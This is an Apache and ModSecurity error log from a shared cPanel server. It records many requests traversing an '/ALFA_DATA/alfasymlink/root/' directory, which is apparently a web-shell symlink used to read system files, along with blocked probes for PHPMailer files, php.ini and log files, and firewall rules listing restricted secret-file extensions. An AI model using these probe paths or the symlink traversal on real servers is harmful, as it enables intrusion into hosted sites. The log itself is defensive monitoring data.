[Sat Oct 24 22:42:02.158112 2026] [security2:error] [pid 2749138:tid 2749138] [client 52.71.216.196:55313] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/"] [unique_id "at1seqcu9k8aHz4uSmmo6QAAAAU"]
[Sat Oct 24 22:42:14.159170 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 35.173.18.61:23074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:42:22.155424 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 35.169.102.85:16855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:42:26.151885 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.226.106.93:52416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:42:42.165101 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 35.170.205.140:4294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:06.131501 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 54.221.203.24:52483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:15.196923 2026] [ssl:error] [pid 2748402:tid 2748402] (70014)End of file found: [client 54.225.181.161:1756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:18.136305 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.214.251.19:15199] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:26.421289 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.85.7.119:20176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:30.141958 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 98.82.40.168:23034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:42.260507 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.194.226.74:56541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:43:42.591474 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1s3iaQM5FksUWf32CMWQAAACk"]
[Sat Oct 24 22:43:42.591749 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1s3iaQM5FksUWf32CMWQAAACk"]
[Sat Oct 24 22:43:42.591983 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at1s3iaQM5FksUWf32CMWQAAACk"]
[Sat Oct 24 22:43:42.651322 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/"] [unique_id "at1s3iaQM5FksUWf32CMXQAAACk"]
[Sat Oct 24 22:43:42.651352 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/"] [unique_id "at1s3iaQM5FksUWf32CMXQAAACk"]
[Sat Oct 24 22:43:42.661393 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at1s3iaQM5FksUWf32CMXgAAACk"]
[Sat Oct 24 22:43:42.661537 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at1s3iaQM5FksUWf32CMXgAAACk"]
[Sat Oct 24 22:43:42.661786 2026] [security2:error] [pid 2748404:tid 2748404] [client 158.69.55.82:16152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at1s3iaQM5FksUWf32CMXgAAACk"]
[Sat Oct 24 22:43:42.667838 2026] [authz_core:error] [pid 2749158:tid 2749158] [client 158.69.55.82:51413] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sat Oct 24 22:43:46.136093 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 52.21.62.139:20141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/ac/bind
[Sat Oct 24 22:43:51.690037 2026] [security2:error] [pid 2748410:tid 2748410] [client 85.208.96.208:26364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/http/__pycache__/cookiejar.cpython-36.opt-2.pyc"] [unique_id "at1s5-7kCJBKGQAqJL0XmQAAAAE"]
[Sat Oct 24 22:43:51.690077 2026] [security2:error] [pid 2748410:tid 2748410] [client 85.208.96.208:26364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/http/__pycache__/cookiejar.cpython-36.opt-2.pyc"] [unique_id "at1s5-7kCJBKGQAqJL0XmQAAAAE"]
[Sat Oct 24 22:43:58.194034 2026] [security2:error] [pid 2749160:tid 2749160] [client 43.130.116.87:33870] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1s7vG7fKP2nlCDuzzHTgAAAAg"]
[Sat Oct 24 22:43:58.195057 2026] [authz_core:error] [pid 2749160:tid 2749160] [client 43.130.116.87:33870] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:44:02.124323 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 107.20.181.148:37744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:06.129336 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 44.223.115.10:15093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:10.124378 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 35.169.240.53:8649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:17.185892 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 16.216.88.157:20480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3461783.ANEL_SCRIPTS_UPDATENOW_STATIC_CPANELSYNC__.af71a608.tmp
[Sat Oct 24 22:44:22.126912 2026] [ssl:error] [pid 2748406:tid 2748406] (22)Invalid argument: [client 34.239.197.197:64458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:34.287860 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 23.22.105.143:6827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:42.294380 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 34.224.132.215:20867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:46.180901 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.221.227.90:40087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:44:54.113522 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 44.223.116.149:51187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/vmd/bind
[Sat Oct 24 22:44:58.239067 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.224.104.67:46426] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:45:02.199606 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.215.77.19:3880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:45:14.114460 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.44.174.136:18373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:45:18.335147 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.194.14.255:38919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:45:29.435642 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.5:58388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/slab_size
[Sat Oct 24 22:45:30.162576 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 3.217.171.106:42362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:45:55.848381 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 85.208.96.202:10310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/usersize
[Sat Oct 24 22:46:02.120436 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 54.86.59.155:61637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:06.191806 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 54.156.124.2:59067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:14.122882 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.207.79.144:42458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:26.111837 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 54.83.240.58:25916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/device:06/physical_node/resource4_wc
[Sat Oct 24 22:46:46.119319 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.215.77.19:26853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:50.120089 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 54.89.90.224:8250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:54.129765 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.230.124.21:35275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:55.760171 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 185.191.171.5:12494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:46:57.245934 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.6:40898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/remote_node_defrag_ratio
[Sat Oct 24 22:46:58.125137 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.210.213.220:29302] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:01.951300 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.194:37014] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-autohint.conf"] [unique_id "at1tpacu9k8aHz4uSmmo-AAAAAU"]
[Sat Oct 24 22:47:01.951687 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.194:37014] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-autohint.conf"] [unique_id "at1tpacu9k8aHz4uSmmo-AAAAAU"]
[Sat Oct 24 22:47:01.951963 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.194:37014] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-autohint.conf"] [unique_id "at1tpacu9k8aHz4uSmmo-AAAAAU"]
[Sat Oct 24 22:47:06.123156 2026] [ssl:error] [pid 2749158:tid 2749158] (5)Input/output error: [client 3.222.190.107:49519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:14.963199 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 85.208.96.194:55722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_log_syslog/sections/__mcount_loc
[Sat Oct 24 22:47:18.255293 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 35.172.125.172:2541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:22.538491 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 185.191.171.12:50508] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:26.110515 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.243.63.52:38206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:34.139594 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.224.215.150:43529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:38.125546 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.85.126.86:50513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:50.449020 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 85.208.96.203:46138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/objs_per_slab
[Sat Oct 24 22:47:54.201588 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.200.93.170:22529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:47:58.839549 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 85.208.96.207:37870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/ctor
[Sat Oct 24 22:48:05.456933 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 85.208.96.211:57914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/red_zone
[Sat Oct 24 22:48:06.161023 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.70.123.241:38068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:48:10.149023 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.194.233.48:42578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory16/"] [unique_id "at1t6qcu9k8aHz4uSmmo-wAAAAU"]
[Sat Oct 24 22:48:10.149061 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.194.233.48:42578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory16/"] [unique_id "at1t6qcu9k8aHz4uSmmo-wAAAAU"]
[Sat Oct 24 22:48:14.168258 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.225.199.17:55175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:48:34.342348 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 34.224.132.215:22504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:48:42.164771 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.203.152.231:20394] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:48:54.155099 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 107.20.25.33:43904] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:48:54.155318 2026] [security2:error] [pid 2748404:tid 2748404] [client 107.20.25.33:43904] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/power/runtime_status"] [unique_id "at1uFiaQM5FksUWf32CMagAAACk"]
[Sat Oct 24 22:48:54.155341 2026] [security2:error] [pid 2748404:tid 2748404] [client 107.20.25.33:43904] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/power/runtime_status"] [unique_id "at1uFiaQM5FksUWf32CMagAAACk"]
[Sat Oct 24 22:48:58.168251 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 52.3.127.170:15540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/driver/uevent
[Sat Oct 24 22:49:18.349212 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 100.28.44.58:30268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/xen-platform-pci/uevent
[Sat Oct 24 22:49:26.176245 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 44.215.210.112:28596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/thermal/unbind
[Sat Oct 24 22:49:30.270002 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.206.212.24:36443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:30.330751 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 185.191.171.2:17262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:34.164015 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 3.213.85.234:33731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:38.407353 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 44.217.177.142:28572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/resource1
[Sat Oct 24 22:49:46.158017 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 44.208.193.63:32054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:50.176028 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.194.95.99:43837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:54.167210 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.234.197.175:59838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:49:58.345937 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 54.209.100.30:56883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory13/subsystem/drivers_probe
[Sat Oct 24 22:50:02.397924 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 3.215.59.93:6317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:06.180745 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 54.204.62.163:59492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/devices/device:1d/eject
[Sat Oct 24 22:50:10.179075 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 98.84.60.17:3225] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:18.218518 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 54.83.180.239:6559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:20.826297 2026] [ssl:error] [pid 2749120:tid 2749120] (95)Operation not supported: [client 85.208.96.193:20314] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:20.862066 2026] [ssl:error] [pid 2749126:tid 2749126] (95)Operation not supported: [client 85.208.96.193:20318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:30.198662 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 35.168.238.50:40636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:38.168305 2026] [ssl:error] [pid 2749126:tid 2749126] (5)Input/output error: [client 3.232.82.72:40690] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:50.215980 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 52.71.203.206:28895] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:54.222157 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 44.218.6.93:59577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:58.190447 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.147.238.89:10030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:50:58.190686 2026] [security2:error] [pid 2749158:tid 2749158] [client 54.147.238.89:10030] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/power/wakeup_active_count"] [unique_id "at1ukvAfy9bYoq3HUbAbtAAAAAY"]
